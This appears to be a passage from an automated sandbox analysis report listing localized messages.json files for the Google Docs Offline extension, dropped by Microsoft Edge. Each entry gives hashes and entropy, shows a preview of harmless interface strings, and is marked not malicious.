File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5064_893818377\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
